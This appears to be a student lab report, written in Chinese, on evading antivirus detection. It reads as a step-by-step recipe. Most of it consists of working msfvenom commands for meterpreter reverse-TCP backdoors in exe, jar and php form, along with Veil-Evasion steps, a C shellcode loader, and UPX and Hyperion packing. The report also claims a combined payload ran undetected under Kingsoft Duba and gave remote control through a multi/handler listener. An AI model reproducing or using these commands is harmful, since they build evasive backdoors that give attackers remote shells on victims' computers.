一、实验目的
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(2)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
(3)下载veil,加壳工具
(4)使用C + shellcode编程
(5)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(6)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、基础问题回答
(1)杀软是如何检测出恶意代码的?
主要是通过特征码检测,行为检测,启发式检测等方式识别
(2)免杀是做什么?
让恶意代码能避开杀毒软件的检测,在目标设备上运行
(3)免杀的基本方法有哪些?
修改特征码,代码混淆,加壳保护等
三、实验内容
主机:Windows 11 系统,IP 地址 172.16.178.31,
虚拟机:Kali Linux,IP 地址 192.168.247.128
实验工具:msfvenom、Veil-Evasion、MinGW-w64、UPX、Hyperion
1.环境配置
安装 MinGW-w64(用于编译 C 语言 shellcode):
sudo apt update && sudo apt install -y mingw-w64

安装 UPX 压缩壳工具:
sudo apt install -y upx-ucl
安装 Hyperion 加密壳(默认路径 /usr/share/windows-resources/hyperion/,若缺失则手动下载解压至该目录)

免杀基准测试
生成基础恶意文件作为检出率基准,用于对比后续免杀效果:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2427 -f exe > base_20232427.exe

将该文件上传至VirusTotal检测。

2.正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1MSF 编码器使用与多类型文件生成
生成编码的 EXE 文件
单次编码 EXE:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.247.128 LPORT=2427 -f exe > encoded1_20232427.exe


10 次迭代编码 EXE(增强变形效果):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.247.128 LPORT=2427 -f exe > encoded10_20232427.exe


基本没有什么变化
生成 JAR 文件及编码版本
基础 JAR 文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2427 -f jar > jar_base_20232427.jar


10 次编码 JAR 文件:
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.247.128 LPORT=2427 -f jar > jar_encoded10_20232427.jar


可以看到jar文件更难被识别出来
生成 PHP 文件及编码版本
基础 PHP 文件:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2427 > php_base_20232427.php


10 次编码 PHP 文件:
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.247.128 LPORT=2427 > php_encoded10_20232427.php


可以看到php文件很难被识别,并且编码后免杀效果非常明显
2.2Veil-Evasion 工具使用
Veil 安装
安装 Veil:
sudo apt -y install veil

配置环境
sudo /usr/share/veil/config/setup.sh --force --silent

启动 Veil:
Veil

生成免杀恶意文件
进入 Evasion 模块:
use 1 #选择Evasion工具

查看可用载荷并选择 C 语言反向 TCP 载荷:
list #列出载荷,找到c/meterpreter/rev_tcp(通常为第7项)

use 7 #选择该载荷

配置载荷参数:
set LHOST 192.168.247.128 #虚拟机IP
set LPORT 2427 #端口
generate #生成文件
输入文件名(veil_20232427),生成的 EXE 文件路径为
/var/lib/veil/output/compiled/veil_20232427.exe。


验证:上传该文件至 VirusTotal 检测,记录检出率。

有一定的免杀效果
2.3C + Shellcode 编程实现免杀
生成 Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2427 -f c > shellcode_20232427.c

编写 C 语言程序
用vi编辑文件,添加执行逻辑:
vi shellcode_20232427.c
在文件末尾添加主函数:
int main(){
int (func)() = (int()())buf; // 将Shellcode转为函数指针
func(); // 执行Shellcode
}
保存退出(Esc,:wq)。

编译生成 EXE 文件
i686-w64-mingw32-g++ shellcode_20232427.c -o shellcode_c_20232427.exe

效果验证
上传shellcode_c_20232427.exe至 VirusTotal 检测,记录检出率。

2.4使用加壳工具
UPX 压缩壳
对 C+Shellcode 生成的 EXE 加壳:
upx shellcode_c_20232427.exe -o shellcode_upx_20232427.exe

上传检测,观察检出率变化。

检出率上升,说明UPX特征易被识别
Hyperion 加密壳
复制文件到 Hyperion 工作目录:
cp shellcode_c_20232427.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
加密生成文件:
wine hyperion.exe -v shellcode_c_20232427.exe shellcode_hyp_20232427.exe


上传检测,记录检出率。
检出率上升,说明加密壳特征被杀软收录

3.通过组合应用各种技术实现恶意代码免杀
采用 “MSF 编码 + C 语言编译 + UPX 压缩 + Hyperion 加密” 组合策略:
生成 10 次编码的 Shellcode 并保存为 C 文件:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.247.128 LPORT=2427 -f c > combo_shellcode_20232427.c

编辑 C 文件,添加主函数(同 “C+Shellcode 编程” 步骤 2)。

编译生成 EXE:
i686-w64-mingw32-g++ combo_shellcode_20232427.c -o combo_base_20232427.exe

UPX 压缩:
upx combo_base_20232427.exe -o combo_upx_20232427.exe

Hyperion 加密:
cp combo_upx_20232427.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
wine hyperion.exe -v combo_upx_20232427.exe combo_final_20232427.exe

将combo_final_20232427.exe复制到 Windows 11 主机,用金山毒霸进行自定义查杀,验证。

4.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
Kali 端启动监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.247.128
set LPORT 2427
exploit
保持金山毒霸开启,双击运行combo_final_20232427.exe
验证回连成功
输入meterpreter > dir等命令,可正常查看 Windows 主机目录,验证控制成功。

杀软名称:金山毒霸
病毒库版本:2025.02.24.17
软件版本:15.2025.0.8.022400.1517

四、问题及解决方案
1.生成php文件上传VirusTotal 检测错误

检查后发现该文件为0kb,

编码器不兼容:x86/shikata_ga_nai 是针对 x86 架构二进制代码的编码器,而 PHP payload 是文本格式的脚本代码,编码器无法对其有效处理,可能导致输出失败,生成空文件。
参数错误:PHP payload 通常不需要使用二进制编码器(如-e指定的编码器),强行使用会导致 msfvenom 处理异常,无法生成有效内容。
解决办法:生成 PHP 文件时去掉-e编码器参数,去掉-f php参数,直接使用基础命令即可生成有效文件

有效
五、心得体会
通过本次免杀原理与实践实验,我掌握了 MSF 编码器、Veil-Evasion、C+Shellcode 编程及加壳工具的使用,也理解了组合免杀的核心逻辑。从基础后门高检出率,到通过编码、封装、加壳将检出率降低,最终实现与金山毒霸共生并成功回连,让我直观感受到杀软的检测机制与免杀技术的对抗关系。
实验中解决各种问题的过程,提升了我的问题排查能力。同时我也认识到,免杀技术需用于合法渗透测试,需坚守网络安全伦理,这为后续深入学习攻防技术奠定了正确方向。